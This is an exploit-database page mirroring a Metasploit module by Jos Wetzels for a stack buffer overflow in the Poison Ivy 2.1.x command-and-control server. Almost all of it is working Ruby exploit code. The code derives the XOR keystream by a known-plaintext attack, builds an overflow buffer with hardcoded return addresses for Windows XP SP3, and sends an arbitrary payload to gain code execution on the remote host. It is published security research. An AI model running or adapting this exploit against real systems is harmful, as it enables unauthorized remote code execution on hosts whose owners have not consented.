Lucene search
K

Poison Ivy 2.1.x C2 Buffer Overflow

🗓️ 09 Jun 2016 00:00:00Reported by Jos WetzelsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Poison Ivy 2.1.x C2 Buffer Overflow exploit for stack overflow in Poison Ivy 2.1.x C&C serve

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.  
The exploit does not need to know the password chosen for the bot/server communication.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],  
],  
'DisclosureDate' => 'Jun 03 2016',  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Poison Ivy 2.1.4 on Windows XP SP3',  
{  
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"  
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"  
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable  
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable  
'Packet2Offset' => 0xB9E # offset of second packet within server's response  
}  
]  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(3460)  
], self.class)  
  
end  
  
# XOR two strings  
def xor_strings(s1, s2)  
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')  
end  
  
# Obtain keystream using known plaintext  
def get_keystream(ciphertext, knownPlaintext)  
if(ciphertext.length < knownPlaintext.length)  
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])  
else  
return xor_strings(ciphertext, knownPlaintext)  
end  
end  
  
# Apply keystream to plaintext  
def use_keystream(plaintext, keyStream)  
if(keyStream.length > plaintext.length)  
return xor_strings(plaintext, keyStream[0, plaintext.length])  
else  
return xor_strings(plaintext, keyStream)  
end  
end  
  
def check  
connect  
# Poke  
sock.put("\x01")  
# Fetch response  
response = sock.get_once(6)  
  
if (response == "\x89\xFF\x90\x0B\x00\x00")  
vprint_status("Poison Ivy C&C version 2.1.4 detected.")  
return Exploit::CheckCode::Appears  
elsif (response == "\x89\xFF\x38\xE0\x00\x00")  
vprint_status("Poison Ivy C&C version 2.0.0 detected.")  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Safe  
end  
  
# Load known plaintext chunk  
def load_c2_packet_chunk  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')  
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }  
chunk  
end  
  
def exploit  
# Known plaintext from C2 packet  
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"  
knownPlaintext2 = load_c2_packet_chunk()  
  
# detour shellcode (mov eax, StoreAddress; jmp eax)  
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress  
detourShellcode << "\xFF\xE0" # jmp eax  
  
# Padding where necessary  
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)  
  
# Construct exploit buffer  
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)  
exploitBuffer << compressedBuffer # compressedBuffer  
exploitBuffer << "\xFF" * 0x104 # readfds  
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType  
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)  
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize  
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)  
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize  
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer  
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4  
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam  
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout  
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd  
exploitBuffer << Rex::Text.rand_text_alpha(4) # s  
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP  
exploitBuffer << [target['Ret']].pack("V") # EIP  
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0  
exploitBuffer << detourShellcode # detour to storage area  
  
# Calculate values  
allocSize = exploitBuffer.length + 1024  
infoLen = payload.encoded.length  
infoSize = (infoLen + 4)  
  
# Handshake  
connect  
print_status("Performing handshake...")  
  
# Poke  
sock.put("\x01")  
  
# Fetch response  
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)  
  
eHeader = response[target['Packet2Offset'], 6]  
eInfo = response[target['Packet2Offset'] + 10..-1]  
  
if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))  
# Keystream derivation using Known Plaintext Attack  
keyStream1 = get_keystream(eHeader, knownPlaintext1)  
keyStream2 = get_keystream(eInfo, knownPlaintext2)  
  
# Set correct infoLen  
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]  
  
# Set correct decompressSize  
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]  
  
# Build packet  
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)  
  
# Encrypt infoSize bytes  
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]  
  
# Make sure infoSize gets overwritten properly since it is processed before decryption  
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]  
  
# Finalize packet  
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer  
  
print_status("Sending exploit...")  
# Send exploit  
sock.put(exploitPacket)  
else  
print_status("Not enough keystream available...")  
end  
  
select(nil,nil,nil,5)  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation